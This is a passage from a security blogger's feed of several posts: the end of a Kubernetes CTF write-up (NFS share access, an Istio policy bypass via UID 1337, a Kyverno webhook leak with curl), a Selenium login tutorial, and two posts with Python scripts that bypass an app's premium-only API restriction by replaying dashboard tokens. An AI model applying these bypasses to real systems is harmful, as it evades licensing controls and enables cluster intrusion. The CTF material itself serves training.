authentication via creds, I should be able to authenticate on the basis of network. My mind went to a remote NFS and I started searching for mounts in the pod. I ran <em>cat /proc/mounts </em>to read all the mounts in the pod. I spotted our culprit, it’s an AWS EFS share!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xZd2hABkouw6HqOlQUH7Lw.png" /><figcaption>fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com is an AWS EFS share.</figcaption></figure><p>This share was mounted on /efs path which had the flag. When I tried to read the flag, I couldn’t read the flag owing to restrictions. Also I cannot just mount the share in a different folder since I’m not root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*EPttER1F_7Ax6n9zyZ9adw.png" /><figcaption>So close yet so far :(</figcaption></figure><p>How do we proceed here? It suddenly struck to me that if I can’t mount the file, can I remotely access it then? I started reading more about how I can read NFS files remotely. Why NFS if it’s EFS we’re dealing with? That’s because EFS is just a managed version of NFS. I tried to search for ways to access remotely, but I caved in and opened a hint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*UffyQ5IdwyRXds0-QdyF3Q.png" /><figcaption>Hint #1 for challenge 3</figcaption></figure><p>The first hint in the challenge pointed me to use <em>nfs-cat</em> and <em>nfs-ls </em>utilities along with a <a href="https://github.com/sahlberg/libnfs">URL</a>. These were CLI tools used to extract a NFS server’s data. I needed to use the IP mapped to the EFS server in order to get data. But the command was not working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fUP8VG8SpEf2q3f7JZoEBg.png" /><figcaption>nfs-ls not working :(</figcaption></figure><p>Exhausted and with no ideas, I took the other hint, it told me to use other parameters in the NFS URL string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*QyMiiEOG8sFLEwfZ0e5BWg.png" /><figcaption>Hint #2 for challenge 3</figcaption></figure><p>I still couldn’t figure it out properly. I had the URL constructed based on the documentation linked, but just didn’t tie it in. I gave up and found this <a href="https://blog.morteza.dev/k8slanparty-challenge-3-data-leakage-be4ac5c94c95">guide</a>. I realized I was just using the wrong IP 🤦‍♂.</p><p>Rectified the URL and fetched the flag as shown below. Gotta say I really struggled for this one but I was happy I learnt something new :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*15aEaW417xhBhnGKH0Gm2A.png" /><figcaption>Flag for Challenge 3:)</figcaption></figure><p>Security Recommendation: Consider using IAM to strictly guard NFS shares over cloud. For eg. , in EFS , we can use these <a href="https://docs.aws.amazon.com/efs/latest/ug/iam-access-control-nfs-efs.html#efs-filesystempolicy-actions">permissions</a> carefully based on requirements.</p><h3>Challenge 4: Bypassing the Boundaries</h3><p>Description: Apparently, new service mesh technologies hold unique appeal for ultra-elite users (root users). Don’t abuse this power; use it responsibly and with caution.</p><p>Attached was Policy as shown below:</p><pre>apiVersion: security.istio.io/v1beta1<br>kind: AuthorizationPolicy<br>metadata:<br>  name: istio-get-flag<br>  namespace: k8s-lan-party<br>spec:<br>  action: DENY<br>  selector:<br>    matchLabels:<br>      app: &quot;{flag-pod-name}&quot;<br>  rules:<br>  - from:<br>    - source:<br>        namespaces: [&quot;k8s-lan-party&quot;]<br>    to:<br>    - operation:<br>        methods: [&quot;POST&quot;, &quot;GET&quot;]</pre><p>Solution: <a href="https://istio.io/">Istio</a> is a service mesh. We have briefly touched upon Istio before in this blog so please check that out if you want to know all about a service mesh. An Istio <a href="https://istio.io/latest/docs/reference/config/security/authorization-policy/">authorization policy</a> has been applied wherein we cannot send in a POST or GET request from any pod belonging to k8s-lan-party namespace matching certain labels. We can assume that this condition would match the pod we have a shell in . I ran a quick dnsscan on the pod subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q-uatWA_iMxlZuRyW6hrMw.png" /><figcaption>Service discovered istio-protected-pod-service.k8s-lan-party.svc.cluster.local</figcaption></figure><p>I guess like in the first challenge, we would need to curl this service to fetch our flag. Unlike the first challenge though, a curl request did not render anything :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i6mWCL7z5tdD_kMsMFTLxQ.png" /><figcaption>RBAC denied :(</figcaption></figure><p>This makes sense. We need to somehow bypass the policy. I just searched for any bypasses regarding Istio authorization policy. I came across this bypass :</p><p><a href="https://pulsesecurity.co.nz/advisories/istio-egress-bypass">Istio outboundTrafficPolicy Egress Control Bypass</a></p><p>This bypass states that any user with userID 1337 can bypass the Istio proxy filter which enables the authorization policy. Luckily, this time we are root in the system, meaning we can create another user and set userID as 1337.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*3xP2TyG55DDsVYpDY6GeSg.png" /><figcaption>Create a user of ID 1337</figcaption></figure><p>Somehow I couldn’t, anyway I just check the passwd file. I realised there’s already a user with 1337 userID by the name istio. Switched to that user and fetched the flag :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tYLnGUmNqmOZVbl2tKWVJg.png" /><figcaption>Flag for Challenge 4:)</figcaption></figure><p>Security Recommendation: Ensure pods are securely locked and never given root permissions. You can use <a href="https://kubernetes.io/docs/tasks/configure-pod-container/security-context/">security contexts</a> to ensure that pods are not given root user permissions and locked down securely.</p><h3>Challenge 5: Lateral Movement</h3><p>Description: Where pods are being mutated by a foreign regime, one could abuse its bureaucracy and leak sensitive information from the <a href="https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#request">administrative</a> services.</p><p>A <a href="https://kyverno.io/">Kyverno</a> policy was attached along with the question shown below:</p><pre>apiVersion: kyverno.io/v1<br>kind: Policy<br>metadata:<br>  name: apply-flag-to-env<br>  namespace: sensitive-ns<br>spec:<br>  rules:<br>    - name: inject-env-vars<br>      match:<br>        resources:<br>          kinds:<br>            - Pod<br>      mutate:<br>        patchStrategicMerge:<br>          spec:<br>            containers:<br>              - name: &quot;*&quot;<br>                env:<br>                  - name: FLAG<br>                    value: &quot;{flag}&quot;</pre><p>Solution: I first ran a dnsscan to check what are the services avaiable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oT7CuVOBBN_JH9-DjYt--w.png" /><figcaption>Services available</figcaption></figure><p>Before that, let’s talk about Kyverno :</p><p>Kyverno is a tool for Kubernetes that helps manage configurations and enforce policies across clusters. It ensures compliance and security by defining rules through custom resource definitions (CRDs), giving precise control over resource management and behavior.</p><p>The policy given in the challenge is saying that any pod created in the <em>sensitive-ns </em>will have the secret injected in the FLAG env variable.</p><p>Since I was aware of admission controllers and mutating webhooks, I immediately understood the expectation. Below is a diagram of how it would go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*rwHGq0GT08tF0WixrRPajQ.png" /><figcaption>Pod admission request</figcaption></figure><p>To create a pod admission request , we can use a tool called <a href="https://github.com/anderseknert/kube-review">kube-review</a> based on hints . I saved a pod with a yaml file with below code:</p><pre>apiVersion: v1<br>kind: Pod<br>metadata:<br>  name: sensitive-pod<br>  namespace: sensitive-ns<br>spec:<br>  containers:<br>  - name: nginx<br>    image: nginx:latest</pre><p>To create the admission request, download kube-review locally and run the below command</p><pre>./kube-review-darwin-amd64 create pod.yaml</pre><p>Paste the JSON in a pastebin file and transfer the file to the shell and store in a file named pod.json . Once the file is transferred, use the below command to send an admission request to Kyverno which will trigger a mutating webhook and create a pod with the env variable injected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xUmoySDmjLZEAFPLzzCv-Q.png" /><figcaption>Output of admission request.</figcaption></figure><p>Adding the curl request since it doesn’t seem to be clear in the screenshot.</p><pre>curl -X POST -H &quot;Content-Type: application/json&quot; --data @pod.json https://kyverno-svc.kyverno/mutate -k</pre><p>Apologies for the image quality. Will upload a better quality image ASAP. In the patch field , we can see a base64 value which is basically the env FLAG value patched into the pod as per the policy. Let’s decrypt the base64 value to fetch the flag and therefore solving the challenge :)</p><pre>echo “W3sib3AiOiJhZGQiLCJwYXRoIjoiL3NwZWMvY29udGFpbmVycy8wL2VudiIsInZhbHVlIjpbeyJuYW1lIjoiRkxBRyIsInZhbHVlIjoid2l6X2s4c19sYW5fcGFydHl7eW91LWFyZS1rOHMtbmV0LW1hc3Rlci13aXRoLWdyZWF0LXBvd2VyLXRvLW11dGF0ZS15b3VyLXdheS10by12aWN0b3J5fSJ9XX0sIHsicGF0aCI6Ii9tZXRhZGF0YS9hbm5vdGF0aW9ucyIsIm9wIjoiYWRkIiwidmFsdWUiOnsicG9saWNpZXMua3l2ZXJuby5pby9sYXN0LWFwcGxpZWQtcGF0Y2hlcyI6ImluamVjdC1lbnYtdmFycy5hcHBseS1mbGFnLXRvLWVudi5reXZlcm5vLmlvOiBhZGRlZCAvc3BlYy9jb250YWluZXJzLzAvZW52XG4ifX1d” | base64 -d | jq<br>Output:<br>[<br>  {<br>    &quot;op&quot;: &quot;add&quot;,<br>    &quot;path&quot;: &quot;/spec/containers/0/env&quot;,<br>    &quot;value&quot;: [<br>      {<br>        &quot;name&quot;: &quot;FLAG&quot;,<br>        &quot;value&quot;: &quot;wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}&quot;<br>      }<br>    ]<br>  },<br>  {<br>    &quot;path&quot;: &quot;/metadata/annotations&quot;,<br>    &quot;op&quot;: &quot;add&quot;,<br>    &quot;value&quot;: {<br>      &quot;policies.kyverno.io/last-applied-patches&quot;: &quot;inject-env-vars.apply-flag-to-env.kyverno.io: added /spec/containers/0/env\n&quot;<br>    }<br>  }<br>]</pre><p>Security Recommendation: Using network policies might have been able to prevent this . The admission controller webhook should not have been so easily accessible to any pod.</p><p>This was a fun CTF from which I learnt a lot! Would extend my gratitude to the entire team of Wiz labs to put together such an amazing CTF!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c773190e9246" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Selenium for Security Engineers]]></title>
            <link>https://arnavtripathy98.medium.com/selenium-for-security-engineers-1b4a41458eed?source=rss-7e79b46d5b60------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b4a41458eed</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[selenium]]></category>
            <category><![CDATA[automation]]></category>
            <dc:creator><![CDATA[Arnav Tripathy]]></dc:creator>
            <pubDate>Thu, 15 Jun 2023 13:42:21 GMT</pubDate>
            <atom:updated>2023-06-15T13:42:21.832Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*musVE9e4bgjTWeoRmc-P_w.png" /><figcaption>Image credits: Unknown</figcaption></figure><blockquote>What is Selenium?</blockquote><p>Selenium is an open-source framework used for browser automation. It is mainly used by QA testers to automate testing of features without having to manually visit each and every feature. Selenium is supported by a variety of programming languages crucially by Python, Ruby and Java. Selenium can be used by all the major browsers such as Firefox, Chrome and Safari. In this blog however, I’ll be demonstrating using Firefox.</p><blockquote>How is Selenium useful for Security Engineers?</blockquote><p>Selenium is useful for security engineers in a few ways listed below:</p><ul><li>Repeated automated security testing for vulnerabilities such as XSS and SQLI</li><li>Pulling metrics from security tools without having to open the dashboard.</li><li>Creating security frameworks such as a key rotation framework.</li></ul><p>Selenium is a very useful skill for security engineers. However, most including me found it slightly daunting to get started with it. In this blog, I take a small example of how to login automatically using Selenium. I will share some tips and try to make it simple for beginners.</p><p>Note: I will be using Python here as Python is the most popular choice for Security Engineers.</p><blockquote>Installing Selenium</blockquote><p>It’s fairly simple to install Selenium . You can read here <a href="https://pypi.org/project/selenium/">https://pypi.org/project/selenium/</a> to get started with Selenium as writing it down would just be repeating what’s already there. Please ensure that your browser version and the driver version are the same. In case it’s not, Selenium will not work. To be on the safest side, always use the latest browsers.</p><blockquote>Setting up your Selenium Boiler plate</blockquote><p>There’s gonna be a few lines of code such as importing Selenium classes and setting up the path to your webdriver. Here’s how my boiler plate looks like .</p><pre>#Importing all libraries. Might not always use all of them but will need them in most cases<br>from selenium import webdriver<br>from selenium.webdriver.common.keys import Keys<br>from selenium.webdriver.common.desired_capabilities import DesiredCapabilities<br>from selenium.common.exceptions import TimeoutException<br>from selenium.webdriver.support.ui import WebDriverWait<br>from selenium.webdriver.support import expected_conditions as EC<br>from selenium.webdriver.common.by import By<br> <br># create webdriver object<br>driver = webdriver.Firefox()</pre><p>If you face any issues while setting up the webdriver, you need to debug the reason by yourself. The issue will most likely be with the path of your driver file.</p><blockquote>Finding HTML elements using XPATH</blockquote><p>Before jumping into the code and example, I would like to talk a little bit about XPATH in HTML since we would be using that a lot. Once you understand XPATH, selenium automation would be a breeze for you.</p><p>XPATH is used to navigate through elements in a HTML document. The best way to understand would be to take an example. Take the example of this webpage <a href="http://testphp.vulnweb.com/login.php">http://testphp.vulnweb.com/login.php</a> . Now how would you find the position of the textbox Username? You might want to right click and inspect element on the textbox. If you do it, you can find the HTML element position highlighted. If you do it in Firefox atleast, you’ll find the HTML to be:</p><p><em>&lt;input name=”uname” type=”text” size=”20&quot; style=”width:120px;”&gt;</em></p><p>While for this webpage, it’s not hard to remember, this is usually not the case for many complex webpages. It is not practical to take the entire part while searching for the element through HTML.</p><p>That’s when XPATH comes to play. Using XPATH, you can construct a XPATH query and simply use that to search for the element. Let’s see how we can construct a query.</p><p>XPATH query structure goes like this: //tagname[@Attribute = &#39;Value&#39;] where:</p><ul><li>tagname specifies the tag used in the element. In the above example, it will be input tag</li><li>Attribute is supposed to be additional information of the element. In this case, name,type,size and style are attributes. You can pick any one to refer to it</li></ul><p>Some XPATH queries(yes multiple queries can be written to refer same element can be:</p><ul><li>//input[@size=”20&quot;]</li><li>//input[@name=”uname&quot;]</li><li>//input[@type=”text”]</li></ul><p>I’ll let you try out for some more queries. I hope the point is driven across on how to use XPATH. We will however go with the XPATH query of //input[@name=”uname”] . Why? Because this will be unique to the uname text box. The other queries can match other text boxes. Try it out! Think logically why it happens .</p><p>This was a small primer on XPATH. I personally use mostly only XPATH to find elements. There are many ways which Selenium supports such as finding elements through class,id , CSS, etc. But I always found it easier to use XPATH. You can explore the others by yourself to see which one suits you.</p><blockquote>Final automation code for login using Selenium</blockquote><p>The final code should look something like this:</p><pre>#Importing all libraries. Might not always use all of them but will need them in most cases<br>from selenium import webdriver<br>from selenium.webdriver.common.keys import Keys<br>from selenium.webdriver.common.desired_capabilities import DesiredCapabilities<br>from selenium.common.exceptions import TimeoutException<br>from selenium.webdriver.support.ui import WebDriverWait<br>from selenium.webdriver.support import expected_conditions as EC<br>from selenium.webdriver.common.by import By<br>import time <br><br># create webdriver object<br>driver = webdriver.Firefox()<br><br>driver.get(&#39;http://testphp.vulnweb.com/login.php&#39;)<br><br>username = driver.find_element(By.XPATH, &#39;//input[@name=&quot;uname&quot;]&#39;)<br>password= driver.find_element(By.XPATH, &#39;//input[@name=&quot;pass&quot;]&#39;)<br>username.send_keys(&quot;{}&quot;.format(&quot;test&quot;))<br>password.send_keys(&quot;{}&quot;.format(&quot;test&quot;))<br>driver.find_element(By.XPATH, &#39;//input[@type=&quot;submit&quot;]&#39;).click()<br>time.sleep(6) //Only used so that you can see you&#39;re logged in</pre><p>Most of the code should be self explanatory. For a login , you need three inputs namely the username, password and the button. You can find all three elements using XPATH as explained in previous section. Then to login, send in the data using the send_keys function and then use the click function as used in the code to login. I will recommend to spend some time with the code and then once understood, you can try for other pages.</p><p>This was a simple way to get started with Selenium for absolute beginners. Hope it helps someone :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b4a41458eed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing API Restrictions Once Again for Fun and Profit]]></title>
            <link>https://arnavtripathy98.medium.com/bypassing-api-restrictions-once-again-for-fun-and-profit-f1abba409bbc?source=rss-7e79b46d5b60------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1abba409bbc</guid>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[selenium]]></category>
            <category><![CDATA[automation]]></category>
            <dc:creator><![CDATA[Arnav Tripathy]]></dc:creator>
            <pubDate>Sun, 26 Mar 2023 02:43:20 GMT</pubDate>
            <atom:updated>2023-03-26T02:43:20.739Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/860/0*qIZP4Ox6-vOelV58.jpeg" /><figcaption>Image credits: <a href="https://blog.open-xchange.com/ox-bug-bounty-programs-two-years-in/">https://blog.open-xchange.com/ox-bug-bounty-programs-two-years-in/</a></figcaption></figure><p>In my previous <a href="https://arnavtripathy98.medium.com/bypassing-api-restrictions-for-fun-and-profit-c9ab746b67be">blog</a> , I talk about how I wrote a script to bypass API restrictions. Would recommend everyone to go through the previous blog to understand the nuances and challenges of bypassing it before going forward. Recently the application got updated and the X-Api-Token field is no longer hard-coded in the application, rather it changes everyday. This becomes quite problematic because now I had to figure out a way to fetch the token dynamically for the bypass to work. After some reconnaissance, I figured out two ways to fix the API token problem. Let’s look at both ways and update the script.</p><blockquote>The Reconnaissance</blockquote><p>I opened burp and intercepted the request while opening the dashboard URL. While a lot of URLs was intercepted, one request interested me particularly:</p><pre>GET /server/status<br>Host: redacted.com<br>Content-Length: 3144<br>Sec-Ch-Ua: “Chromium”;v=”109&quot;, “Not_A Brand”;v=”99&quot;<br>Sec-Ch-Ua-Platform: “macOS”<br>X-Api-Token: &quot;$api_token&quot;<br>Sec-Ch-Ua-Mobile: ?0<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36<br>Content-Type: application/json<br>Accept: */*<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Dest: empty<br>Referer: https://redacted.com/<br>Accept-Encoding: gzip, deflate<br>Accept-Language: en-GB,en-US;q=0.9,en;q=0.8<br>Connection: close</pre><p>This URL was interesting to me because I was not yet logged in, yet the API token was showing up. The problem was that it was in the request header and not response. If it were in the response header, I could have created a request using requests module and just read the token from the response. Accordingly , I used two methods to fetch the token from request header</p><blockquote>Using Selenium</blockquote><p>Selenium is a tool for browser automation. I will write a separate blog about using Selenium as I use a lot of it for my automation work. Here, I used Selenium to open the URL dashboard and capture all the requests flowing through the Selenium browser. The below code helped me achieve it:</p><pre>from seleniumwire import webdriver  # Import from seleniumwire<br>import time<br>from selenium.webdriver.common.by import By<br># Create a new instance of the Chrome driver<br>driver = webdriver.Chrome(executable_path= &quot;/usr/local/bin/chromedriver&quot;)<br><br># Go to the dashboard home page<br>driver.get(&#39;https://redacted.com/&#39;)<br>time.sleep(4)<br># Access requests via the `requests` attribute<br>for request in driver.requests:<br>    if request.url == &quot;https://redacted.com/server/status&quot;:<br>        if request.response:<br>            x_api_token=request.headers[&#39;X-Api-Token&#39;]<br>        break</pre><p>Selenium-wire is a library which assisted in fetching all requests through a browser. Using the above code, I was able to fetch the X-Api-Token value dynamically.</p><p>Adding the above code, the updated code became:</p><pre>from seleniumwire import webdriver  # Import from seleniumwire<br>import time<br>from selenium.webdriver.common.by import By<br>import requests<br>import json<br>#Credentials needed to automate session<br>username= &quot;admin&quot;<br>password= &quot;admin&quot;<br># Create a new instance of the Chrome driver<br>driver = webdriver.Chrome(executable_path= &quot;/usr/local/bin/chromedriver&quot;)<br><br># Go to the dashboard home page<br>driver.get(&#39;https://redacted.com/&#39;)<br>time.sleep(4)<br># Access requests via the `requests` attribute<br>for request in driver.requests:<br>    if request.url == &quot;https://redacted.com/server/status&quot;:<br>        if request.response:<br>            x_api_token=request.headers[&#39;X-Api-Token&#39;]<br>        break<br><br>#Function to generate headers for Login<br>def headers_data(request_data,if_login,token=0):<br>    data_len= str(len(request_data))<br>    headers_request = {<br>    &#39;Content-Length&#39;: data_len,<br>    &#39;Content-Type&#39;: &#39;application/json&#39;,<br>    &#39;X-API-Token&#39;: x_api_token<br>    }    <br>    if if_login:<br>        return headers_request<br>    else:<br>        headers_request[&#39;X-Cookie&#39;]= &#39;token=&#39;+token<br>    return headers_request <br><br>#Login to application and store token<br>login_data= &#39;{&quot;username&quot;:&#39; + &#39;&quot;&#39; + username + &#39;&quot;&#39;+&#39;,&quot;password&quot;:&#39; + &#39;&quot;&#39; + password + &#39;&quot;&#39;+&#39;}&#39;<br>login_headers = headers_data(login_data,True)<br>try:<br>    login_tokens = requests.post(&#39;https://redacted.com/session&#39;, headers=login_headers, data=login_data, verify=False)<br>    token= login_tokens.json().get(&#39;token&#39;)<br>    print(&quot;Login Successful !&quot;)<br>except:<br>    raise Exception(&quot;Login Automation failed&quot;) <br><br>#Post request to stop endpoint.<br>payload_data= { &quot;Some json data to be posted to stop transaction&quot;}<br>update_ip_headers = headers_data(payload_data,False,token)<br>stop_transaction_response= requests.put(&#39;https://redacted.com/stop/transaction&#39;, headers=update_ip_headers, data=payload_data, verify=False)<br>print(&quot;Transaction stopped via API&quot;)</pre><blockquote>Using JS Files</blockquote><p>With some poking around, a JS file was discovered in the dashboard URL page source. The X-Api-Token was present in the JS file. Now the automation can be achieved easily through requests module. Below code helped in fetching the token:</p><pre>import re<br>import requests<br><br>js_response = requests.get(&#39;https://redacted.com/redacted.js&#39;, verify=False)<br>token =re.findall(&#39;(?&lt;=key:&quot;Token&quot;,value:function\(\){return&quot;).*?(?=&quot;}},{key:&quot;Headers&quot;)&#39;, js_response.text) #Regex in the file to fecth the token<br>x_api_token= token[0]</pre><p>The updated code would become:</p><pre><br>import requests<br>import json<br>import re<br>#Credentials needed to automate session<br>username= &quot;admin&quot;<br>password= &quot;admin&quot;<br>js_response = requests.get(&#39;https://redacted.com/redacted.js&#39;, verify=False)<br>token =re.findall(&#39;(?&lt;=key:&quot;Token&quot;,value:function\(\){return&quot;).*?(?=&quot;}},{key:&quot;Headers&quot;)&#39;, js_response.text) #Regex in the file to fecth the token<br>x_api_token= token[0]<br><br>#Function to generate headers for Login<br>def headers_data(request_data,if_login,token=0):<br>    data_len= str(len(request_data))<br>    headers_request = {<br>    &#39;Content-Length&#39;: data_len,<br>    &#39;Content-Type&#39;: &#39;application/json&#39;,<br>    &#39;X-API-Token&#39;: x_api_token<br>    }    <br>    if if_login:<br>        return headers_request<br>    else:<br>        headers_request[&#39;X-Cookie&#39;]= &#39;token=&#39;+token<br>    return headers_request <br><br>#Login to application and store token<br>login_data= &#39;{&quot;username&quot;:&#39; + &#39;&quot;&#39; + username + &#39;&quot;&#39;+&#39;,&quot;password&quot;:&#39; + &#39;&quot;&#39; + password + &#39;&quot;&#39;+&#39;}&#39;<br>login_headers = headers_data(login_data,True)<br>try:<br>    login_tokens = requests.post(&#39;https://redacted.com/session&#39;, headers=login_headers, data=login_data, verify=False)<br>    token= login_tokens.json().get(&#39;token&#39;)<br>    print(&quot;Login Successful !&quot;)<br>except:<br>    raise Exception(&quot;Login Automation failed&quot;) <br><br>#Post request to stop endpoint.<br>payload_data= { &quot;Some json data to be posted to stop transaction&quot;}<br>update_ip_headers = headers_data(payload_data,False,token)<br>stop_transaction_response= requests.put(&#39;https://redacted.com/stop/transaction&#39;, headers=update_ip_headers, data=payload_data, verify=False)<br>print(&quot;Transaction stopped via API&quot;)</pre><p>Hope this helps security automation enthusiasts :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1abba409bbc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing API Restrictions for Fun and Profit]]></title>
            <link>https://arnavtripathy98.medium.com/bypassing-api-restrictions-for-fun-and-profit-c9ab746b67be?source=rss-7e79b46d5b60------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9ab746b67be</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Arnav Tripathy]]></dc:creator>
            <pubDate>Tue, 07 Feb 2023 17:45:04 GMT</pubDate>
            <atom:updated>2023-02-07T17:45:04.846Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*JxNrI03rXbUAPSXCyEl3Cg.jpeg" /><figcaption>Image credits: <a href="https://blog.open-xchange.com/ox-bug-bounty-programs-two-years-in/">https://blog.open-xchange.com/ox-bug-bounty-programs-two-years-in/</a></figcaption></figure><p>Recently, I downloaded and started testing an application locally which provided dashboard access along with rest API endpoints for it’s users to easily interact with it’s functionality. However, while playing with it’s API’s using the available documentation, I realized that some of the API’s were not accessible. As per the error message, I realized that in order to use the unavailable API’s, I would have to buy the premium version of the app. In this blog, I talk how I was able to bypass the restrictions. For simplicity sake, let us tag all our app components used in the blog:</p><ul><li>App is <em>redacted.com</em></li><li>API available is <em>GET /start/transaction</em></li><li>API unavailable in free tier(currently used locally but available in premium version ) is <em>POST /stop/transaction</em></li></ul><p>The app allowed me to generate a token to use as an API and I was checking out it’s endpoints using <a href="https://www.postman.com/">Postman</a>. While I was getting proper results for the start endpoint, I was getting the below error for the unavailable API endpoint:</p><pre>{ <br>&quot;API is accessible only from dashboard. Please upgrade to premium for programmatic access.&quot;<br>}</pre><p>While the error was sufficiently easy to understand, I still went ahead and googled about the app to see what exactly was the case. As it turns out, the application had retired certain API’s in the latest versions of free tier, though I was still able to do the action of the API through the dashboard. In our case, we can assume that we can start a transaction through the given API, but in order to stop a transaction, we would either need to go to the dashboard or upgrade to premium version.</p><p>I started to proxy all dashboard traffic through Burp Suite. To my surprise, the exact endpoints were being reused in the dashboard, which confirmed the existence of the endpoints. Now the question remains, how is the application blocking my Postman requests but seems to work from the dashboard?</p><p>I started analyzing the request headers. Below is the request sent to the stop transaction endpoint through Burp:</p><pre>POST /stop/transaction<br>Host: redacted.com<br>Content-Length: 3144<br>Sec-Ch-Ua: “Chromium”;v=”109&quot;, “Not_A Brand”;v=”99&quot;<br>Sec-Ch-Ua-Platform: “macOS”<br>X-Api-Token: &quot;$api_token&quot;<br>Sec-Ch-Ua-Mobile: ?0<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36<br>X-Cookie: token=&quot;$token&quot;<br>Content-Type: application/json<br>Accept: */*<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Dest: empty<br>Referer: https://redacted.com/<br>Accept-Encoding: gzip, deflate<br>Accept-Language: en-GB,en-US;q=0.9,en;q=0.8<br>Connection: close<br><br>{<br>&quot;Json data&quot;<br>}</pre><p>While most of headers are what is expected in a browser made request, two additional fields caught my eye:</p><ul><li>The X-Api-Token field which had a token different from the API key generated.</li><li>The X-Cookie field which was probably the session token.</li></ul><p>In my Postman , I added the two additional fields and removed the field with the API key. It threw an error which seemed like a content length issue. After adding the Content-Length header, I was able to use the endpoint like a regular API!</p><p>Now the objective was clear, in order to use the endpoint as an API, I would need to craft a request which would:</p><ul><li>Have the X-Api-Token header value.</li><li>Have the session token calculated and appended.</li><li>Have the correct content-length calculated and appended.</li></ul><p>On analyzing the application for a few days, I discovered that the X-Api-Token value did not change. Maybe it was unique to each application setup. So the first part of the request headers was easy.</p><p>For the session token, I analyzed the login workflow through Burp. The login request was something like this:</p><pre>POST /session HTTP/1.1<br>Host: redacted.com<br>Content-Length: 55<br>Sec-Ch-Ua: &quot;Chromium&quot;;v=&quot;109&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;<br>Sec-Ch-Ua-Platform: &quot;macOS&quot;<br>X-Api-Token: &quot;$api_token&quot;<br>Sec-Ch-Ua-Mobile: ?0<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36<br>Content-Type: application/json<br>Accept: */*<br>Origin: https://redacted.com<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Dest: empty<br>Referer: https://redacted.com/<br>Accept-Encoding: gzip, deflate<br>Accept-Language: en-GB,en-US;q=0.9,en;q=0.8<br>Connection: close<br><br>{&quot;username&quot;:&quot;admin&quot;,&quot;password&quot;:&quot;admin&quot;}</pre><p>The response to this request was:</p><pre>HTTP/1.1 200 OK<br>Cache-Control: no-cache, no-store, must-revalidate<br>X-Frame-Options: DENY<br>Content-Type: application/json<br>Connection: close<br>Content-Length: 179<br>Expires: 0<br>Expect-CT: max-age=0<br>Pragma: no-cache<br><br>{&quot;token&quot;:&quot;$token&quot;}</pre><p>Problem solved! All I had to do was just craft a post request to login and fetch the token from response. As for the content length , all I had to do was calculate length dynamically from the script.</p><p>My final script which bypassed the API restrictions is as below:</p><pre>import requests<br>import json<br><br>#Credentials needed to automate session<br>username= &quot;admin&quot;<br>password= &quot;admin&quot;<br>x_api_token=&quot;1AB-345-678&quot;<br><br>#Function to generate headers for Login<br>def headers_data(request_data,if_login,token=0):<br>    data_len= str(len(request_data))<br>    headers_request = {<br>    &#39;Content-Length&#39;: data_len,<br>    &#39;Content-Type&#39;: &#39;application/json&#39;,<br>    &#39;X-API-Token&#39;: x_api_token<br>    }    <br>    if if_login:<br>        return headers_request<br>    else:<br>        headers_request[&#39;X-Cookie&#39;]= &#39;token=&#39;+token<br>    return headers_request <br><br>#Login to application and store token<br>login_data= &#39;{&quot;username&quot;:&#39; + &#39;&quot;&#39; + username + &#39;&quot;&#39;+&#39;,&quot;password&quot;:&#39; + &#39;&quot;&#39; + password + &#39;&quot;&#39;+&#39;}&#39;<br>login_headers = headers_data(login_data,True)<br>try:<br>    